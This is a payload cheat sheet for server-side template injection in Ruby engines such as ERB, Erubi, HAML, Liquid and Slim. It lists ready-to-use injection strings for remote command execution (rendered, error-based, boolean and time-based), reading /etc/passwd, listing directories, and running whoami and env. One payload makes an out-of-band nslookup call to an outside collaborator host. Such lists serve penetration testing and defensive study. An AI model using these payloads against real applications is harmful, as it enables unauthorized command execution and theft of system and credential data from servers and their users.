Server Side Template Injection - Ruby
Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.
Summary
Templating Libraries
| Template Name | Payload Format |
|---|---|
| Erb | <%= %> |
| Erubi | <%= %> |
| Erubis | <%= %> |
| HAML | #{ } |
| Liquid | {{ }} |
| Mustache | {{ }} |
| Slim | #{ } |
Universal Payloads
Generic code injection payloads work for many Ruby-based template engines, such as Erb, Erubi, Erubis, HAML and Slim.
To use these payloads, wrap them in the appropriate tag.
%x('id') # Rendered RCE
File.read("Y:/A:/"+%x('id')) # Error-Based RCE
1/(system("id")&&1||0) # Boolean-Based RCE
system("id && sleep 5") # Time-Based RCERuby
Ruby - Basic injections
ERB:
<%= 7 * 7 %>Slim:
#{ 7 * 7 }Ruby - Retrieve /etc/passwd
<%= File.open('/etc/passwd').read %>Ruby - List files and directories
<%= Dir.entries('/') %>Ruby - Remote Command execution
Execute code using SSTI for Erb,Erubi,Erubis engine.
<%=(`nslookup oastify.com`)%>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>Execute code using SSTI for Slim engine.
#{ %x|env| }